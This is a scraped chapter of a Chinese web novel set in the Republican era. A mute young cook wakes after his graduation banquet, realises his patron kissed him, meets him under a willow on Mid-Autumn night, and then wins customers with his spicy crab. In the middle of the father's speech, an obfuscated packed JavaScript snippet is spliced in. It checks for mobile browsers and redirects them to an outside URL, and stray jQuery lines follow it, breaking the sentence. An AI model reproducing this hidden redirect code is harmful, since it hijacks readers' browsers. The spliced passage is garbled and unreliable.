第 82 章 与二爷约

作品:《民国小掌柜

    “嘎嘎——”


    “嘎嘎嘎——”


    小孩儿散学归来,追着隔壁杜婶家在外头溜达的大白鹅。


    大白鹅扑棱着翅膀


    阿笙被这一阵阵的鹅叫声给吵醒。


    奇怪今日怎的杜婶家的大公鸡没叫,反倒是大白鹅叫得这般厉害?


    有野猫跑进杜婶家的院子里头了?


    脑袋很重眼皮就跟黏在一起了似的。


    阿笙勉勉强强睁开眼。


    他一只手的掌心贴在太阳穴上,一只手撑着床坐起身。


    醉得太过厉害这一觉又睡得太沉以至于阿笙转过头,瞧见窗外昏暗的天色时,很是愣了愣。


    阿笙靠着床好一会儿才想起今日似乎是他的出师宴?


    那他应该在酒楼才对啊,怎么在家里?


    脑袋有些疼阿笙揉着太阳穴脑海里零星地闪过一些画面——


    爹爹带着他向宾客敬酒,结束的时候他和爹爹一起送宾客离开。


    等等他似乎在扶着孙伯伯出包间的时候,在走廊上碰见二爷同小石头了?


    当时,孙伯伯似乎同他说了什么话,他着急着想要解释。


    可孙伯伯到底说了什么,他完全不记得了,也不记得自己为什么会急着解释只记得自己不知道出于什么原因似,乎是伸手拉住了二爷?!


    又又似乎没有?


    阿笙的心砰砰跳得厉害着急得不行。


    他当时到底是有还是没有把二爷给拉住了?


    若是他当真的将二爷给拉住了二爷可有没有怪他唐突?


    阿笙有些着急地轻拍着自己的脑袋。


    怎么就是想不起来了呢?!


    …


    “吱呀——”


    房门被推开。


    阿笙转过脑袋。


    方庆遥手里头端着脸盆从外头进来见阿笙已经醒了笑着道:“醒了啊?你这一觉睡得可真够沉的。这几日累坏了吧?”


    他都睡了一觉醒来了阿笙都还在睡。


    方庆遥来的第一趟没打扰阿笙。


    眼见着太阳都要下山该吃晚饭了这才不得不又来一趟过来把人给叫醒。


    阿笙咧开嘴有些不大好意思地笑了笑。


    他也没觉着这几日特别累更多的是兴奋以及担心。


    不知道自己到底能不能成为像是爹爹还有师父那样手艺能够得到大家的喜欢跟肯定。


    也担心自己是不是能够独立胜任后厨的工作。


    许是这段时日心弦多少有些绷着加之太白醉酒劲大这一觉才会睡得这般沉。


    方才刚醒那会儿他还真以为是天亮了自己该去给师父请安了。


    后头才恍恍惚惚地想起他已经出师了往后


    不需要再一大早便去师父家端茶问好了。


    心里头还有些不舍来着。


    每日早起还要绕好几条街去师父家中虽然辛苦可这些年他也习惯了陪同师父一起出门再一路走去菜场同菜场里头的几家摊贩的老板、老板娘问好说笑几句。


    再看着师父如何挑选新鲜的食材如何讨价还将如何在面对老板们企图以次充好时不动声色地将不新鲜的蔬菜叶濒死的河虾……给拣出去。


    之后他们师徒二人再一起去店里。往后便是他同爹爹一起直接去店里了。


    方庆遥瞧见阿笙床边上已经有一张现成的凳子便把脸盆给放阿笙旁边的凳子上给阿笙拧了把毛巾“来洗把脸擦个身子。我瞧你怎么关着门睡觉这会儿身上粘得是不是可难……”受。


    忽地注意到阿笙身上的短衫方庆遥话声一顿当爹的调侃道:“衣衫换过了啊?行啊本来还担心你喝醉了倒头就睡。又关着门下午屋里头最热回头别热坏了。看来你这醉得还不算厉害还知道照顾自己。”


    阿笙接过爹爹递来的毛巾擦了把脸。


    眼露疑惑。


    他没觉着身上特别黏啊……


    听见爹爹的话阿笙下意识地低下头瞧见自己身上穿的短衫。


    这这短衫是他自己换的?


    他怎么一点印象也没有了?


    阿笙将手里头的毛巾递还给爹爹有些不好意思地笑了笑手里头比划着“对不住啊爹爹我今日好像是有些醉得厉害睡死过去了。给爹爹添麻烦了。”


    阿笙这会儿总算知道自己为何会在家里。


    应当是他醉后爹爹让店里伙计帮着一起把他从店里给带了回来。


    他知道醉酒的人身子总是沉一些只怕将他带回来不是什么省心的事


    方庆遥把毛巾给接过去语气略带无奈地道:“你倒没给我添麻烦倒是辛苦了二爷。你说你这孩子……怎么在人二爷面前醉过去了?你觉着醉得难受怎的也不喊大力或是其他人来扶你一下?竟然在二爷面前睡着了。


    你知不知道?我碰见你的时候你都睡得不省人事了。后头还是二爷背你下的楼我让大力叫的车。因着我还要送宾客实在抽不开身大力也吃了酒不便照顾你。最后还是麻烦二爷坐人力车送你回家。”


    方庆遥是直摇头叹气。


    阿笙这孩子平日里还挺靠谱今日怎的这般没谱。


    至于二爷抱着阿笙的事方庆遥没提。


    虽说二爷完全是出于一片好意当时多半也是没有更好的法子。


    可阿笙到底也是


    个男孩子,一个男孩子被同为男子的二爷给那么横抱着,当爹的心里头自是别扭。


    阿笙越听,一双乌色的眸子睁得越大。


    爹爹,爹爹在说什么?


    他,他在二爷面前醉过去了,还……还让二爷背他下楼?


    是二爷送他回的家?


    阿笙倒抽一口凉气。


    天爷!


    所以,当时他同孙伯伯人在走廊上碰见二爷同小石头,他,他当真伸手将二爷给拉住了?


    …


    “你这次给二爷可是添了大麻烦了,亏得二爷大人有大量,没同你计较。回头你抽个空,拿上家里的太白醉,去给人二爷道谢。顺便,跟人好好道个歉,知道么?”


    当爹的还在絮絮叨叨,阿笙却是一个字也没有听见去。


    —


    “今日酒楼,可有空着的包间?”


    “带我过去,可好?”


    “郑掌柜的侄女,好看吗?”


    阿笙的耳畔依稀响起二爷的声音。


    “好看?以至搜肠刮肚地在想,要怎么形容郑小姐的美貌?


    “阿笙。”


    “阿笙。”


    “阿笙可有娶亲的打算?”


    “可是喜欢的意思?”


    阿笙眼眸瞪圆,脸颊“腾”地一下烧红。


    他想起了!


    他记得,当时,他,他是将二爷给拉住了。


    二,二爷还问他可有空着的包间。


    他当时脑子晕晕乎乎的,没能去想二爷为何问他要包间,二爷既是要去空的包间,他也便带二爷去了。


    之后,房门被关上……


    二,二爷亲了他!


    不仅仅是额头,二爷还亲,亲了……


    “阿笙,阿笙!”


    忽地听见爹爹大声唤他,阿笙吓一跳。


    他的身子抖了下,抬起头。


    方庆遥神情颇有几分无奈地道:“爹爹在同你说话呢,你听见没?”


    阿笙眼露茫然。


    爹爹,爹爹方才说什么了?


    方庆遥一看,便知道了自己方才说的话,阿笙多半没听进去,只好重复了一遍,“我说让你回头得空,去一趟春行馆,好好谢谢二爷,再给人诚心诚意地道个歉。


    这回可听见了?”


    听见“二爷”两个字,阿笙的心尖颤了颤,心跳快得不行。


    他胡乱地点了点头。


    方庆遥见儿子脸颊通红,怀疑是不是关着房门睡,把自己给热坏了的缘故,关切地道:“可是酒还没醒透?身体有什么不舒服的地方没有?”


    阿笙连忙摇头,脸上的热意只升不退,手里头比划着,“没,没有不舒服的地方。爹爹您今日也累了一天了。您先去休息吧。水我自己等会儿端出去倒掉。”


    方庆遥笑了,“爹爹休息过


    了。不然你以为谁给咱们爷俩做饭?时间不早了,你先在房间里再躺一会儿,等会儿换上一身干净的衣服出来啊。今日到底是中秋,还是得赏月,吃月饼。


    阿笙轻咬着唇,有些魂不守舍地点了点头。


    方庆遥见阿笙呆呆的,只当他酒还没醒透,让他自己再在房间里休息一会儿,也便出去了。


    阿笙怔怔地瞧着门外四合的暮色,右手食指无意识地抚在唇上。


    脸颊熟透。


    到底是他醉得厉害,梦里头发癔症。


    还,还是……


    还是二爷当真亲了他?


    …


    阿笙从柜子里取了一件长衫。


    脱衣服时,瞥见自己身上的短衫,脸颊蓦地一红。


    倘,倘若……不是爹爹给他换的衣服,也不是他自己换的……


    难,难不成是二爷?


    阿笙神情懊恼,只恨自己为什么醉得太死。


    但凡他稍微清醒一点,也不至于什么都想不起来!


    …


    阿笙端起床边的脸盆,忽地,又是一愣。


    这张凳子原先并不是摆在这里。


    他记得爹爹进来时,也没有搬过凳子……


    这么说,他身上的衣服,当,当真是二爷给他换的?


    一想到有这种可能,阿笙险些连手中的脸盆都端不稳。


    难不成他吐了,以至于二爷不得不给他换身干净的衣裳?


    因着心不在焉,走出房门时,还被门槛给绊了一跤,盆里的水洒了一些。


    去院子里倒了水,阿笙急忙忙拎着脸盆回到屋里。


    将脸盆给放回毛巾架上,用毛巾擦干微湿的手,阿笙疾步走到床边。


    他拿起放在床尾,白日穿的那件月牙绸衫,仔细看了看,上面并没没有任何污秽的痕迹。


    阿笙整个人仿佛虚脱了一般,坐在了床上。


    幸……幸好。


    他应当,没,没吐。


    那二爷为何会……给他换衣服?


    阿笙捧着衣衫,不自觉地发起呆来。


    …


    天色暗了下去,院子里开始起风。


    风吹得桌上的画纸上下掀动,发出窸窸窣窣的声响。


    阿笙手里头攥着衣服,回过神。


    白日没什么风,阿笙只是用镇纸压着画纸其中的一个角。


    担心穿堂风太大,会将画纸给吹走,阿笙走过去,拿起镇纸,整理桌上的画稿。


    忽地,阿笙瞧见一张并不是属于他的画。


    是一幅简单的水墨丹青。


    但见一湾碧绿的湖面,湖边立着几株青色垂柳,垂柳依依,柳梢上映着一轮皎洁明月。


    画上,题着一句词——“人约柳梢头。


    阿笙仔细一看,果然,在杨柳下,依稀瞧见一双身


    影。


    因着只是极小的两个点,五官辨不出男女,唯独通过两人身上掩在柳条间的长衫,隐越能够辨认出树下立着的是两名男子。


    无需仔细辨认,阿笙认出,这幅丹青,这丹青上的字,均是出自二爷之手。


    阿笙双手微颤地拿起这幅画。


    他的心,仿佛这画上的水面,被骤然投掷扔进一颗小石子,起了层层涟漪。


    …


    方骏过节都会提前请假回乡下。


    是以,中秋,照样只有方庆遥同阿笙父子两人一起过节。


    阿笙搬了桌椅,陪着爹爹坐在在院子里赏月。


    手里头拿着咬了几口的月饼,犹豫了好一会儿,将月饼暂时放在身前的碟子上,将晚上想要去东湖那边逛逛的事,同爹爹说了。


    当爹的惊讶地转过头脑袋,“你一个人去逛呐?还是约了谁?”


    阿笙脸颊微红。


    亏得有夜色的遮掩,不至于被爹爹给发现。


    阿笙手里头比划着,“就,就我一个人。我听说每年中秋,东湖那边都可热闹。”


    阿笙撒了谎。


    他其实不是要去东湖。


    不过一时间,除了要去东湖看热闹,他也想不出还能以什么样的借口出门,不惹爹爹起疑。


    …


    阿笙的话,勾起了方庆遥对往事的追忆:“也不仅仅是东湖。要说热闹,福桥那边才热闹呢。有钱的富商、政要会携着一家老小游湖,船在水上穿行,远远地望过去,就像是一盏盏河灯在湖面上似的,那叫一个漂亮。


    我记得有一年中秋,我带着你娘亲,经过福桥。河面上穿梭着各种游船。人站在桥上,船上的笑声都能飘到岸上来。那个时候,你还小,被你娘亲抱在怀里。


    你娘亲说,等你长大了,我们一家人也租一条船,游……”


    方庆遥倏地一停。


    阿笙原本听得入神,听见爹爹像往常那样一提到娘亲,便止住了话头,心里头说不出地难过。


    方庆遥端起桌前的茶,喝了一口,吃了一口手中的月饼,“难得过节,想去东湖边去吧。记得不要去人太多的地方。”


    阿笙这会儿也不急着去游湖了,他想听爹爹多讲点娘亲的事情。


    可他深知,除非爹爹自个儿说漏嘴,提到娘亲,否则无论是谁问他娘亲的事,爹爹都不会再多提一个字的。


    …


    阿笙只好点了点脑袋,从竹椅上起身。


    “别是约了什么姑娘吧?”


    阿笙才迈出几步,听见爹爹微带着调侃的试探,无奈地转过头,“爹爹……”


    谁会看上一个哑巴呢?


    倘若他不是长庆楼的少东家,只怕人家姑娘听说他是一个哑巴,扭头就走。


    不


    知道怎么的,阿笙想到了二爷。


    那二爷呢?


    二爷……喜欢他么?


    这个问题,阿笙没敢深想下去。


    至,至少二爷不讨厌他。


    如此,对他来说,也便够了。


    方庆遥认真地道:“你可是同郑小姐看过亲的了。人家那边一直没给咱们一个明确的答复,说明女方家还在考虑咱们。


    你可不许在这个节骨眼招惹别人家的姑娘,对你自己,对人家姑娘都不好。知晓了?


    阿笙抿起唇。


    只是看过亲,又不是定亲了。再一个……女方那边迟迟没有给出答复,说明并未瞧上他。


    要他说,只有爹爹在剃头担子一头热。


    阿笙不愿在今天这样的日子里同爹爹起什么冲突,只是比划着,“我出去了。现在夜里凉,您一个人不要在院子里待太久。小心着凉。


    “嗯,放心吧。等爹爹吃完手上这个月饼,再赏会儿月,我就把桌椅都给搬进去了。倒是你,一个人在外头,一定要注意安全。不要去太挤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097387|116635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的地方,远远地看个热闹便成。


    安全为上。


    阿笙认真地点了点头。


    …


    走出家门,阿笙脚底生风。


    简直恨不得能像是小说话本里的主人公那样,御剑飞行。


    须臾间,便可抵达自己要去的地方。


    可惜,他不会法术,他只有两双腿。


    只能让自己得快一些,再快一些……


    好在,他要去的地方……也不是很远。


    十五的月亮,很亮。


    月光照在青石板路上,就像是洒了一地的细碎银子。


    阿笙无心欣赏,步子迈得可急。


    阿笙转过一条巷子,往河边走去。


    中秋,青柳巷的家家户户要么在家中一起过节,吃中秋宴,要么,都去东湖、福桥那边游湖、看热闹去了。


    青柳巷沿岸寂静无声,只是间或间,传来几声狗吠声。


    阿笙沿着河边,疾步走到种着垂柳的地方——


    二爷画上的地方!


    快要走近,阿笙倏地放慢了脚步。


    二,二爷会不会已经来了?


    阿笙深呼吸,他慢慢地走近。


    垂柳下,空无一人。


    …


    阿笙心里头不由地有些忐忑。


    二爷既是改了原词,在画上题“人月柳梢头,应当是约他晚上见面的意思?


    倘若,倘若不是呢?


    倘若二爷不过是一时兴起,随手作下那幅画……


    阿笙走到柳树前,伸手折下一根柳条,在河边的草地上坐了下来,抬头望月。


    月亮尚未走到柳梢后头。


    时间未到,他……他再等等。


    夜里有些凉,阿笙穿着长衫,还是


    觉得有些凉。


    阿笙抱着手臂瞧见天上的月亮稍微移动了一些。


    慢慢地……月亮移到了柳梢后头。


    阿笙垂下眼睑脸色有些苍白。


    是他误会了。


    阿笙将方才折的那支柳枝扔掷在了水中。


    水中的月亮一下便就散了。


    阿笙心里头很是有些难过。


    他同二爷是不是像极了这水中月?


    本来月亮就应该高高地悬在天上的岂是凡人能够拥有的。


    是他起了不该起的心思。


    …


    阿笙从草地上站起身


    因坐的时间有些长起来时脑袋有些晕眩。


    阿笙的身子轻晃了下险些栽进河里。


    便是不栽到河里少不得摔进草丛里亏得一只手臂及时地扶住了他。


    “怎的离水面这么近?吓我一跳。”


    谢放瞧了眼两人同河面的距离拉着阿笙往岸边站了站。


    方才若不适合他恰好赶到阿笙怕是要失足落入水里。


    想到这里谢放便一阵后怕。


    他又拉着阿笙手环在阿笙腰间往垂柳那边走去。


    阿笙怔怔地抬起头。


    他……他可是在发梦?


    …


    “实在抱歉有些事情耽搁了来晚了一些?是不是等久了?”


    指尖碰到阿笙的手发现他的手很冰便将阿笙两只手给纳入掌心。


    一面给阿笙轻呵着气给他稍微暖手一面解释道:“我算了算时间晚上可能会迟到便原想着让福旺给你传个话。


    只是想到今天这样的日子方叔定然也在家。若是福旺过去传话恰好被方叔知晓


    紧赶慢赶还是迟了是不是?”


    阿笙的手被二爷握在手里哪里还能“回”得了话。


    便是他这会儿双手不是被二爷给纳入掌心只怕也还是跟这会儿的反应差不多——


    只愣愣地瞧着二爷。


    “怎么了?一个劲地盯着我瞧?”


    谢放轻点阿笙的鼻尖眸光噙笑。


    …


    阿笙紧缩的心脏仿佛在这一刻终于回复了正常的跳动。


    不不是梦?


    包间二爷亲他还有约他在这儿见面都都不是梦?


    “晚上可饮了酒了?”


    忽然听见二爷问这一句阿笙只觉莫名却还是如实地摇了摇头。


    “没有饮酒便好。”


    阿笙不解地瞧着二爷。


    耳边传来二爷的低笑声:“我担心你吃醉了又在我肩上睡过去。若是从这儿将你背回去怕是明日咱们双双都要上报纸。”


    阿笙脸颊红透。


    …


    当天晚上


    ,阿笙便是梦里,唇角都是上扬着的。


    人都说,人逢喜事精神爽。


    这话用在阿笙身上可谓是再合适没有的了!


    中秋节阿笙的“出师酒”办得热闹。


    不过几日功夫,半城的人便都知道长庆楼的少东家学满出师,如今已是独立师父了!


    阿笙先前因为枣泥山药糕、菱粉糕、云片糕等大受欢迎,不少客人都知道阿笙的名声。


    只是大家还没尝过阿笙的大菜,不少人“慕名而来”,都想尝一尝阿笙的手艺究竟如何。


    学自乔师傅,又自小受方掌柜的厨艺的熏陶,想来是不会差。


    兴许青出于蓝胜于蓝呢!


    阿笙果然也没让大家伙失望。


    秋日,蟹肥。


    阿笙早早便同师父还有爹爹商量过,他正式成为师傅的第一天,便要做这香辣蟹。


    香辣蟹既是符城的名菜,又符合时令,只要他不砸锅,定然会大受欢迎。大受欢迎之外,定会叫不少客人能够记住他。如此,一举两得。


    果然,阿笙的香辣蟹一上桌,便身手客人的喜欢,可以说是一举征服了长庆楼一众新老顾客的胃。


    “恭你啊,阿笙,我听你爹爹说,今日这一桌的菜,都是你自己掌的勺。是不是?”


    “是,是,今日您几位这一桌的菜啊,都是阿笙一个人完成的,几位爷尝尝看,味道如何。要是差点意思,我让乔师傅给几位爷重新做一桌。”


    方庆遥有心,在阿笙端菜上桌时,会同老主顾们提一嘴。


    老主顾们也有心,纷纷恭喜阿笙。


    “你这自小有方掌柜的指导,这三年又跟在乔师傅身边学厨,想要不好吃的都难啊。你们说,是不是这个理。”


    “是这个理,是这个理。”


    “我方才尝过了,这香辣蟹啊,味儿正,蟹肥!阿笙这厨艺啊,同乔师傅比,那是一点不差。”


    “哪里是一点不差,简直是青春于蓝呐!”


    方庆遥听了这话,自是乐开了花。


    …


    “少东家!您这算不算是顺利出师了?!”


    “算啊!这怎么能不算?!”


    “可不是,你们是没发现,最近点名要尝少东家厨艺的客人是越发多了么?”


    阿笙的脸颊被灶台的火熏得通红,便是眼底也簇着灶台的火光。


    能够被大家喜欢,自是开心的事。


    “少东家,前头有客人点名要去一趟——”


    大力进厨房,同少东家喊话道。


    阿笙锅手边的香辣蟹还没出锅呢。


    “少东家,您先过去吧。这里我帮您看着。”


    阿笙看了阿松一眼,又见师父他们都在,便点了点头,手里头比划着,“若是火候差不多了,便记得及时掀盖,出锅。”


    阿松走到少东家的锅前,“放心吧,少东家。交给我,保准没问题。”